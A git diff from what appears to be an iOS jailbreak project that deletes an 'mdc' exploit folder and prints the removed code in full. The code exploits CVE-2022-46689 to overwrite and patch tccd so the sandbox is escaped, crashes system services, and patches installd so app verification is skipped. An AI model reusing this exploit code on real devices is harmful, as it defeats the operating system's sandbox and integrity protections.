diff --git a/.gitignore b/.gitignore index 2979229..f03917a 100644 --- a/.gitignore +++ b/.gitignore @@ -11,5 +11,7 @@ Serotonin.xcodeproj/project.xcworkspace/xcuserdata/ibarahime.xcuserdatad RootHelperSample/RootHelperSample.xcodeproj/xcuserdata RootHelperSample/build RootHelperSample/launchdshim/launchdhook/.theos +RootHelperSample/launchdshim/SpringBoardShim/SpringBoardHook/springboardhooksigned.dylib +RootHelperSample/launchdshim/SpringBoardShim/SpringBoardHook/hideConfidentialText.dylib apple-include ChOma_host diff --git a/Serotonin.xcodeproj/project.pbxproj b/Serotonin.xcodeproj/project.pbxproj index abae1fb..ac7d820 100644 --- a/Serotonin.xcodeproj/project.pbxproj +++ b/Serotonin.xcodeproj/project.pbxproj @@ -47,9 +47,6 @@ 9756F48D2B505EE100172EF9 /* libfragmentzip.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 9756F46B2B505EE000172EF9 /* libfragmentzip.a */; }; 9756F48E2B505EE100172EF9 /* patchfinder64.m in Sources */ = {isa = PBXBuildFile; fileRef = 9756F46D2B505EE000172EF9 /* patchfinder64.m */; }; 9756F4902B505F1900172EF9 /* cs_blobs.m in Sources */ = {isa = PBXBuildFile; fileRef = 9756F48F2B505F1900172EF9 /* cs_blobs.m */; }; - 9756F4F02B505F2600172EF9 /* vm_unaligned_copy_switch_race.c in Sources */ = {isa = PBXBuildFile; fileRef = 9756F4922B505F2500172EF9 /* vm_unaligned_copy_switch_race.c */; }; - 9756F4F12B505F2600172EF9 /* grant_full_disk_access.m in Sources */ = {isa = PBXBuildFile; fileRef = 9756F4932B505F2500172EF9 /* grant_full_disk_access.m */; }; - 9756F4F22B505F2600172EF9 /* helpers.m in Sources */ = {isa = PBXBuildFile; fileRef = 9756F4942B505F2500172EF9 /* helpers.m */; }; 9756F5132B505F2600172EF9 /* GPU_CoreSight.m in Sources */ = {isa = PBXBuildFile; fileRef = 9756F4EC2B505F2600172EF9 /* GPU_CoreSight.m */; }; 9756F5142B505F2600172EF9 /* pplrw.m in Sources */ = {isa = PBXBuildFile; fileRef = 9756F4EE2B505F2600172EF9 /* pplrw.m */; }; C805CA452B1719C1005157BA /* util.m in Sources */ = {isa = PBXBuildFile; fileRef = C805CA442B1719C1005157BA /* util.m */; }; @@ -201,12 +198,6 @@ 9756F46D2B505EE000172EF9 /* patchfinder64.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = patchfinder64.m; sourceTree = ""; }; 9756F46E2B505EE000172EF9 /* patchfinder.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = patchfinder.h; sourceTree = ""; }; 9756F48F2B505F1900172EF9 /* cs_blobs.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = cs_blobs.m; sourceTree = ""; }; - 9756F4922B505F2500172EF9 /* vm_unaligned_copy_switch_race.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vm_unaligned_copy_switch_race.c; sourceTree = ""; }; - 9756F4932B505F2500172EF9 /* grant_full_disk_access.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = grant_full_disk_access.m; sourceTree = ""; }; - 9756F4942B505F2500172EF9 /* helpers.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = helpers.m; sourceTree = ""; }; - 9756F4952B505F2500172EF9 /* vm_unaligned_copy_switch_race.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vm_unaligned_copy_switch_race.h; sourceTree = ""; }; - 9756F4962B505F2500172EF9 /* helpers.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = helpers.h; sourceTree = ""; }; - 9756F4972B505F2500172EF9 /* grant_full_disk_access.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = grant_full_disk_access.h; sourceTree = ""; }; 9756F4EC2B505F2600172EF9 /* GPU_CoreSight.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = GPU_CoreSight.m; sourceTree = ""; }; 9756F4ED2B505F2600172EF9 /* pplrw.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = pplrw.h; sourceTree = ""; }; 9756F4EE2B505F2600172EF9 /* pplrw.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = pplrw.m; sourceTree = ""; }; @@ -569,19 +560,6 @@ path = curl; sourceTree = ""; }; - 9756F4912B505F2500172EF9 /* mdc */ = { - isa = PBXGroup; - children = ( - 9756F4922B505F2500172EF9 /* vm_unaligned_copy_switch_race.c */, - 9756F4932B505F2500172EF9 /* grant_full_disk_access.m */, - 9756F4942B505F2500172EF9 /* helpers.m */, - 9756F4952B505F2500172EF9 /* vm_unaligned_copy_switch_race.h */, - 9756F4962B505F2500172EF9 /* helpers.h */, - 9756F4972B505F2500172EF9 /* grant_full_disk_access.h */, - ); - path = mdc; - sourceTree = ""; - }; 9756F4EB2B505F2600172EF9 /* ppl */ = { isa = PBXGroup; children = ( @@ -770,7 +748,6 @@ C8BFCC772B3FFE560008D8FD /* fun */ = { isa = PBXGroup; children = ( - 9756F4912B505F2500172EF9 /* mdc */, 9756F4EB2B505F2600172EF9 /* ppl */, 9756F48F2B505F1900172EF9 /* cs_blobs.m */, 9756F41C2B505EE000172EF9 /* kpf */, @@ -1129,7 +1106,6 @@ 9756F4862B505EE100172EF9 /* lzfse_encode_base.c in Sources */, D6E08F552B48E24F00AE49BF /* URL+Transferable.swift in Sources */, 9756F4782B505EE000172EF9 /* macho.c in Sources */, - 9756F4F22B505F2600172EF9 /* helpers.m in Sources */, 9756F48A2B505EE100172EF9 /* libgrabkernel.m in Sources */, C805CA452B1719C1005157BA /* util.m in Sources */, 9756F4732B505EE000172EF9 /* hslist.c in Sources */, @@ -1156,7 +1132,6 @@ 9756F4712B505EE000172EF9 /* asn1.c in Sources */, 9756F47C2B505EE000172EF9 /* symbol.c in Sources */, D6E08F1E2B48B04E00AE49BF /* TheCoolerContentView.swift in Sources */, - 9756F4F02B505F2600172EF9 /* vm_unaligned_copy_switch_race.c in Sources */, 9756F47B2B505EE000172EF9 /* macho32.c in Sources */, D6E08F5D2B48E24F00AE49BF /* Transferable.swift in Sources */, D6E08F502B48E24F00AE49BF /* Codable+Representation.swift in Sources */, @@ -1185,7 +1160,6 @@ 9756F4852B505EE100172EF9 /* lzvn_encode_base.c in Sources */, D6E090152B48E26000AE49BF /* String+LocalizationKey.swift in Sources */, D6E08F4C2B48E24F00AE49BF /* UTType.swift in Sources */, - 9756F4F12B505F2600172EF9 /* grant_full_disk_access.m in Sources */, 9756F4762B505EE000172EF9 /* hstring.c in Sources */, D6E0900F2B48E26000AE49BF /* Environment.swift in Sources */, D6E08F572B48E24F00AE49BF /* Never+Transferable.swift in Sources */, diff --git a/usprebooter/TheCoolerContentView.swift b/usprebooter/TheCoolerContentView.swift index 1be068d..7e9c932 100644 --- a/usprebooter/TheCoolerContentView.swift +++ b/usprebooter/TheCoolerContentView.swift @@ -120,20 +120,20 @@ struct CoolerContentView: View { // .disabled(true) Toggle("Beta iOS",systemImage: "star",isOn: $isBeta) Toggle("Verbose Boot", systemImage: "ladybug", isOn: $verboseBoot) - .onChange(of: verboseBoot) { newValue in - if newValue { + .onChange(of: verboseBoot) { a in +// if newValue { spawnRoot(mainBundlePath, ["toggleVerbose", "", ""], nil, nil) - } else { - spawnRoot(mainBundlePath, ["toggleVerbose", "", ""], nil, nil) - } +// } else { +// spawnRoot(mainBundlePath, ["toggleVerbose", "", ""], nil, nil) +// } } Toggle("Hide confidential text", systemImage: "ladybug", isOn: $hideText) - .onChange(of: hideText) { newValue in - if newValue { + .onChange(of: hideText) { _ in +// if newValue { +// spawnRoot(mainBundlePath, ["hideText", "", ""], nil, nil) +// } else { spawnRoot(mainBundlePath, ["hideText", "", ""], nil, nil) - } else { - spawnRoot(mainBundlePath, ["hideText", "", ""], nil, nil) - } +// } } // .onChange(of: verboseBoot) {_ in diff --git a/usprebooter/fun/mdc/grant_full_disk_access.h b/usprebooter/fun/mdc/grant_full_disk_access.h deleted file mode 100644 index 31a99b9..0000000 --- a/usprebooter/fun/mdc/grant_full_disk_access.h +++ /dev/null @@ -1,5 +0,0 @@ -#import - -/// Uses kfd exploit to grant the current app read/write access outside the sandbox. -void grant_full_disk_access(void (^_Nonnull completion)(NSError* _Nullable)); -bool patch_installd(void); diff --git a/usprebooter/fun/mdc/grant_full_disk_access.m b/usprebooter/fun/mdc/grant_full_disk_access.m deleted file mode 100644 index e656967..0000000 --- a/usprebooter/fun/mdc/grant_full_disk_access.m +++ /dev/null @@ -1,610 +0,0 @@ -@import Darwin; -@import Foundation; -@import MachO; - -#import -// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from -// WDBFontOverwrite -// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything) -// Please don't call this code on iOS 14 or below -// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot) -#import "grant_full_disk_access.h" -#import "helpers.h" -#import "vm_unaligned_copy_switch_race.h" - -//typedef NSObject* xpc_object_t; -typedef xpc_object_t xpc_connection_t; -typedef void (^xpc_handler_t)(xpc_object_t object); -xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys, - xpc_object_t _Nullable const* values, size_t count); -xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq, - uint64_t flags); -void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler); -void xpc_connection_resume(xpc_connection_t connection); -void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, - dispatch_queue_t replyq, xpc_handler_t handler); -xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, - xpc_object_t message); -xpc_object_t xpc_bool_create(bool value); -xpc_object_t xpc_string_create(const char* string); -xpc_object_t xpc_null_create(void); -const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key); - -int64_t sandbox_extension_consume(const char* token); - -// MARK: - patchfind - -struct grant_full_disk_access_offsets { - uint64_t offset_addr_s_com_apple_tcc_; - uint64_t offset_padding_space_for_read_write_string; - uint64_t offset_addr_s_kTCCServiceMediaLibrary; - uint64_t offset_auth_got__sandbox_init; - uint64_t offset_just_return_0; - bool is_arm64e; -}; - -static bool patchfind_sections(void* executable_map, - struct segment_command_64** data_const_segment_out, - struct symtab_command** symtab_out, - struct dysymtab_command** dysymtab_out) { - struct mach_header_64* executable_header = executable_map; - struct load_command* load_command = executable_map + sizeof(struct mach_header_64); - for (int load_command_index = 0; load_command_index < executable_header->ncmds; - load_command_index++) { - switch (load_command->cmd) { - case LC_SEGMENT_64: { - struct segment_command_64* segment = (struct segment_command_64*)load_command; - if (strcmp(segment->segname, "__DATA_CONST") == 0) { - *data_const_segment_out = segment; - } - break; - } - case LC_SYMTAB: { - *symtab_out = (struct symtab_command*)load_command; - break; - } - case LC_DYSYMTAB: { - *dysymtab_out = (struct dysymtab_command*)load_command; - break; - } - } - load_command = ((void*)load_command) + load_command->cmdsize; - } - return true; -} - -static uint64_t patchfind_get_padding(struct segment_command_64* segment) { - struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64); - struct section_64* last_section = §ion_array[segment->nsects - 1]; - return last_section->offset + last_section->size; -} - -static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length, - const char* needle) { - void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1); - if (!str_offset) { - return 0; - } - uint64_t str_file_offset = str_offset - executable_map; - for (int i = 0; i < executable_length; i += 8) { - uint64_t val = *(uint64_t*)(executable_map + i); - if ((val & 0xfffffffful) == str_file_offset) { - return i; - } - } - return 0; -} - -static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) { - // TCCDSyncAccessAction::sequencer - // mov x0, #0 - // ret - static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6}; - void* offset = memmem(executable_map, executable_length, needle, sizeof(needle)); - if (!offset) { - return 0; - } - return offset - executable_map; -} - -static uint64_t patchfind_got(void* executable_map, size_t executable_length, - struct segment_command_64* data_const_segment, - struct symtab_command* symtab_command, - struct dysymtab_command* dysymtab_command, - const char* target_symbol_name) { - uint64_t target_symbol_index = 0; - for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) { - struct nlist_64* sym = - ((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index; - const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx; - if (strcmp(sym_name, target_symbol_name)) { - continue; - } - // printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map)); - target_symbol_index = sym_index; - break; - } - - struct section_64* section_array = - ((void*)data_const_segment) + sizeof(struct segment_command_64); - struct section_64* first_section = §ion_array[0]; - if (!(strcmp(first_section->sectname, "__auth_got") == 0 || - strcmp(first_section->sectname, "__got") == 0)) { - return 0; - } - uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff; - - for (int i = 0; i < first_section->size; i += 8) { - uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i); - uint64_t indirect_table_entry = (val & 0xfffful); - if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) { - return first_section->offset + i; - } - } - return 0; -} - -static bool patchfind(void* executable_map, size_t executable_length, - struct grant_full_disk_access_offsets* offsets) { - struct segment_command_64* data_const_segment = nil; - struct symtab_command* symtab_command = nil; - struct dysymtab_command* dysymtab_command = nil; - if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command, - &dysymtab_command)) { - printf("no sections\n"); - return false; - } - if ((offsets->offset_addr_s_com_apple_tcc_ = - patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) { - printf("no com.apple.tcc. string\n"); - return false; - } - if ((offsets->offset_padding_space_for_read_write_string = - patchfind_get_padding(data_const_segment)) == 0) { - printf("no padding\n"); - return false; - } - if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string( - executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) { - printf("no kTCCServiceMediaLibrary string\n"); - return false; - } - if ((offsets->offset_auth_got__sandbox_init = - patchfind_got(executable_map, executable_length, data_const_segment, symtab_command, - dysymtab_command, "_sandbox_init")) == 0) { - printf("no sandbox_init\n"); - return false; - } - if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) == - 0) { - printf("no just return 0\n"); - return false; - } - struct mach_header_64* executable_header = executable_map; - offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E; - - return true; -} - -// MARK: - tccd patching - -static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) { - // reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can - // re-use it until next reboot. - // Returns the sandbox token if there is one, or nil if there isn't one. - xpc_connection_t connection = xpc_connection_create_mach_service( - "com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0); - xpc_connection_set_event_handler(connection, ^(xpc_object_t object) { - NSLog(@"xpc event handler: %@", object); - }); - xpc_connection_resume(connection); - const char* keys[] = { - "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight", - "target_token", "background_session", - }; - xpc_object_t values[] = { - xpc_string_create("17087.1"), - xpc_string_create("TCCAccessRequest"), - xpc_string_create("com.apple.app-sandbox.read-write"), - xpc_null_create(), - xpc_bool_create(false), - xpc_null_create(), - xpc_bool_create(false), - }; - xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys)); -#if 0 - xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message); - NSLog(@"%@", response_message); - -#endif - xpc_connection_send_message_with_reply( - connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), - ^(xpc_object_t object) { - if (!object) { - NSLog(@"object is nil???"); - completion(nil); - return; - } - NSLog(@"response: %@", object); - if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) { - NSLog(@"xpc error?"); - completion(nil); - return; - } - NSLog(@"debug description: %@", [object debugDescription]); - const char* extension_string = xpc_dictionary_get_string(object, "extension"); - NSString* extension_nsstring = - extension_string ? [NSString stringWithUTF8String:extension_string] : nil; - completion(extension_nsstring); - }); -} - -static NSData* patchTCCD(void* executableMap, size_t executableLength) { - struct grant_full_disk_access_offsets offsets = {}; - if (!patchfind(executableMap, executableLength, &offsets)) { - return nil; - } - - NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength]; - // strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr); - char* mutableBytes = data.mutableBytes; - { - // rewrite com.apple.tcc. into blank string - *(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0; - } - { - // make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write" - // we need to stick this somewhere; just put it in the padding between - // the end of __objc_arrayobj and the end of __DATA_CONST - strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string), - "com.apple.app-sandbox.read-write"); - struct dyld_chained_ptr_arm64e_rebase targetRebase = - *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + - offsets.offset_addr_s_kTCCServiceMediaLibrary); - targetRebase.target = offsets.offset_padding_space_for_read_write_string; - *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + - offsets.offset_addr_s_kTCCServiceMediaLibrary) = - targetRebase; - *(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) = - strlen("com.apple.app-sandbox.read-write"); - } - if (offsets.is_arm64e) { - // make sandbox_init call return 0; - struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = { - .auth = 1, - .bind = 0, - .next = 1, - .key = 0, // IA - .addrDiv = 1, - .diversity = 0, - .target = offsets.offset_just_return_0, - }; - *(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + - offsets.offset_auth_got__sandbox_init) = - targetRebase; - } else { - // make sandbox_init call return 0; - struct dyld_chained_ptr_64_rebase targetRebase = { - .bind = 0, - .next = 2, - .target = offsets.offset_just_return_0, - }; - *(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) = - targetRebase; - } - return data; -} - -static bool overwrite_file(int fd, NSData* sourceData) { - for (int off = 0; off < sourceData.length; off += 0x4000) { - bool success = false; - for (int i = 0; i < 2; i++) { - if (unaligned_copy_switch_race( - fd, off, sourceData.bytes + off, - off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) { - success = true; - break; - } - } - if (!success) { - return false; - } - } - return true; -} - -static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token, - NSError* _Nullable error)) { - char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd"; - int fd = open(targetPath, O_RDONLY | O_CLOEXEC); - if (fd == -1) { - // iOS 15.3 and below - targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd"; - fd = open(targetPath, O_RDONLY | O_CLOEXEC); - } - off_t targetLength = lseek(fd, 0, SEEK_END); - lseek(fd, 0, SEEK_SET); - void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); - - NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; - NSData* sourceData = patchTCCD(targetMap, targetLength); - if (!sourceData) { - completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" - code:5 - userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]); - return; - } - - if (!overwrite_file(fd, sourceData)) { - overwrite_file(fd, originalData); - munmap(targetMap, targetLength); - completion( - nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" - code:1 - userInfo:@{ - NSLocalizedDescriptionKey : @"Can't overwrite file: your device may " - @"not be vulnerable to CVE-2022-46689." - }]); - return; - } - munmap(targetMap, targetLength); - - xpc_crasher("com.apple.tccd"); - sleep(1); - call_tccd(^(NSString* _Nullable extension_token) { - overwrite_file(fd, originalData); - xpc_crasher("com.apple.tccd"); - NSError* returnError = nil; - if (extension_token == nil) { - returnError = - [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" - code:2 - userInfo:@{ - NSLocalizedDescriptionKey : @"tccd did not return an extension token." - }]; - } else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) { - returnError = [NSError - errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" - code:3 - userInfo:@{ - NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token " - @"instead of an app sandbox token." - }]; - extension_token = nil; - } - completion(extension_token, returnError); - }); -} - -void grant_full_disk_access(void (^completion)(NSError* _Nullable)) { - if (!NSClassFromString(@"NSPresentationIntent")) { - // class introduced in iOS 15.0. - // TODO(zhuowei): maybe check the actual OS version instead? - completion([NSError - errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" - code:6 - userInfo:@{ - NSLocalizedDescriptionKey : - @"Not supported on iOS 14 and below: on iOS 14 the system partition is not " - @"reverted after reboot, so running this may permanently corrupt tccd." - }]); - return; - } - NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory - inDomains:NSUserDomainMask][0]; - NSURL* sourceURL = - [documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"]; - NSError* error = nil; - NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL - encoding:NSUTF8StringEncoding - error:&error]; - if (cachedToken) { - int64_t handle = sandbox_extension_consume(cachedToken.UTF8String); - if (handle > 0) { - // cached version worked - completion(nil); - return; - } - } - grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) { - if (error) { - completion(error); - return; - } - int64_t handle = sandbox_extension_consume(extension_token.UTF8String); - if (handle <= 0) { - completion([NSError - errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" - code:4 - userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]); - return; - } - [extension_token writeToURL:sourceURL - atomically:true - encoding:NSUTF8StringEncoding - error:&error]; - completion(nil); - }); -} - -/// MARK - installd patch - -struct installd_remove_app_limit_offsets { - uint64_t offset_objc_method_list_t_MIInstallableBundle; - uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods; - uint64_t offset_data_const_end_padding; - // MIUninstallRecord::supportsSecureCoding - uint64_t offset_return_true; -}; - -struct installd_remove_app_limit_offsets gAppLimitOffsets = { - .offset_objc_method_list_t_MIInstallableBundle = 0x519b0, - .offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8, - .offset_data_const_end_padding = 0x79c38, - .offset_return_true = 0x19860, -}; - -static uint64_t patchfind_find_class_rw_t_baseMethods(void* executable_map, - size_t executable_length, - const char* needle) { - void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1); - if (!str_offset) { - return 0; - } - uint64_t str_file_offset = str_offset - executable_map; - for (int i = 0; i < executable_length - 8; i += 8) { - uint64_t val = *(uint64_t*)(executable_map + i); - if ((val & 0xfffffffful) != str_file_offset) { - continue; - } - // baseMethods - if (*(uint64_t*)(executable_map + i + 8) != 0) { - return i + 8; - } - } - return 0; -} - -static uint64_t patchfind_return_true(void* executable_map, size_t executable_length) { - // mov w0, #1 - // ret - static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6}; - void* offset = memmem(executable_map, executable_length, needle, sizeof(needle)); - if (!offset) { - return 0; - } - return offset - executable_map; -} - -static bool patchfind_installd(void* executable_map, size_t executable_length, - struct installd_remove_app_limit_offsets* offsets) { - struct segment_command_64* data_const_segment = nil; - struct symtab_command* symtab_command = nil; - struct dysymtab_command* dysymtab_command = nil; - if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command, - &dysymtab_command)) { - printf("no sections\n"); - return false; - } - if ((offsets->offset_data_const_end_padding = patchfind_get_padding(data_const_segment)) == 0) { - printf("no padding\n"); - return false; - } - if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods = - patchfind_find_class_rw_t_baseMethods(executable_map, executable_length, - "MIInstallableBundle")) == 0) { - printf("no MIInstallableBundle class_rw_t\n"); - return false; - } - offsets->offset_objc_method_list_t_MIInstallableBundle = - (*(uint64_t*)(executable_map + - offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) & - 0xffffffull; - - if ((offsets->offset_return_true = patchfind_return_true(executable_map, executable_length)) == - 0) { - printf("no return true\n"); - return false; - } - return true; -} - -struct objc_method { - int32_t name; - int32_t types; - int32_t imp; -}; - -struct objc_method_list { - uint32_t entsizeAndFlags; - uint32_t count; - struct objc_method methods[]; -}; - -static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset, - uint64_t new_offset, uint64_t* out_copied_length, - void (^callback)(const char* sel, - uint64_t* inout_function_pointer)) { - struct objc_method_list* original_list = mutableBytes + old_offset; - struct objc_method_list* new_list = mutableBytes + new_offset; - *out_copied_length = - sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method); - new_list->entsizeAndFlags = original_list->entsizeAndFlags; - new_list->count = original_list->count; - for (int method_index = 0; method_index < original_list->count; method_index++) { - struct objc_method* method = &original_list->methods[method_index]; - // Relative pointers - uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name; - uint64_t types_file_offset = - ((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types; - uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp; - const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull); - callback(sel, &imp_file_offset); - - struct objc_method* new_method = &new_list->methods[method_index]; - new_method->name = (int32_t)((int64_t)name_file_offset - - (int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes)); - new_method->types = (int32_t)((int64_t)types_file_offset - - (int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes)); - new_method->imp = (int32_t)((int64_t)imp_file_offset - - (int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes)); - } -}; - -static NSData* make_patch_installd(void* executableMap, size_t executableLength) { - struct installd_remove_app_limit_offsets offsets = {}; - if (!patchfind_installd(executableMap, executableLength, &offsets)) { - return nil; - } - - NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength]; - char* mutableBytes = data.mutableBytes; - uint64_t current_empty_space = offsets.offset_data_const_end_padding; - uint64_t copied_size = 0; - uint64_t new_method_list_offset = current_empty_space; - patch_copy_objc_method_list(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle, - current_empty_space, &copied_size, - ^(const char* sel, uint64_t* inout_address) { - if (strcmp(sel, "performVerificationWithError:") != 0) { - return; - } - *inout_address = offsets.offset_return_true; - }); - current_empty_space += copied_size; - ((struct - dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + - offsets - .offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) - ->target = new_method_list_offset; - return data; -} - -bool patch_installd() { - const char* targetPath = "/usr/libexec/installd"; - int fd = open(targetPath, O_RDONLY | O_CLOEXEC); - off_t targetLength = lseek(fd, 0, SEEK_END); - lseek(fd, 0, SEEK_SET); - void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); - - NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; - NSData* sourceData = make_patch_installd(targetMap, targetLength); - if (!sourceData) { - NSLog(@"can't patchfind"); - return false; - } - - if (!overwrite_file(fd, sourceData)) { - overwrite_file(fd, originalData); - munmap(targetMap, targetLength); - NSLog(@"can't overwrite"); - return false; - } - munmap(targetMap, targetLength); - xpc_crasher("com.apple.mobile.installd"); - sleep(1); - - // TODO(zhuowei): for now we revert it once installd starts - // so the change will only last until when this installd exits - overwrite_file(fd, originalData); - return true; -} diff --git a/usprebooter/fun/mdc/helpers.h b/usprebooter/fun/mdc/helpers.h deleted file mode 100644 index 1c21342..0000000 --- a/usprebooter/fun/mdc/helpers.h +++ /dev/null @@ -1,16 +0,0 @@ -#ifndef helpers_h -#define helpers_h - -char* get_temp_file_path(void); -void test_nsexpressions(void); -char* set_up_tmp_file(void); - -void xpc_crasher(char* service_name); - -void restartBackboard(void); -void restartFrontboard(void); - - -#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL)) - -#endif /* helpers_h */ diff --git a/usprebooter/fun/mdc/helpers.m b/usprebooter/fun/mdc/helpers.m deleted file mode 100644 index 1069727..0000000 --- a/usprebooter/fun/mdc/helpers.m +++ /dev/null @@ -1,140 +0,0 @@ -#import -#include -#include -#include - -char* get_temp_file_path(void) { - return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]); -} - -// create a read-only test file we can target: -char* set_up_tmp_file(void) { - char* path = get_temp_file_path(); - printf("path: %s\n", path); - - FILE* f = fopen(path, "w"); - if (!f) { - printf("opening the tmp file failed...\n"); - return NULL; - } - char* buf = malloc(PAGE_SIZE*10); - memset(buf, 'A', PAGE_SIZE*10); - fwrite(buf, PAGE_SIZE*10, 1, f); - //fclose(f); - return path; -} - -kern_return_t -bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp); - -struct xpc_w00t { - mach_msg_header_t hdr; - mach_msg_body_t body; - mach_msg_port_descriptor_t client_port; - mach_msg_port_descriptor_t reply_port; -}; - -mach_port_t get_send_once(mach_port_t recv) { - mach_port_t so = MACH_PORT_NULL; - mach_msg_type_name_t 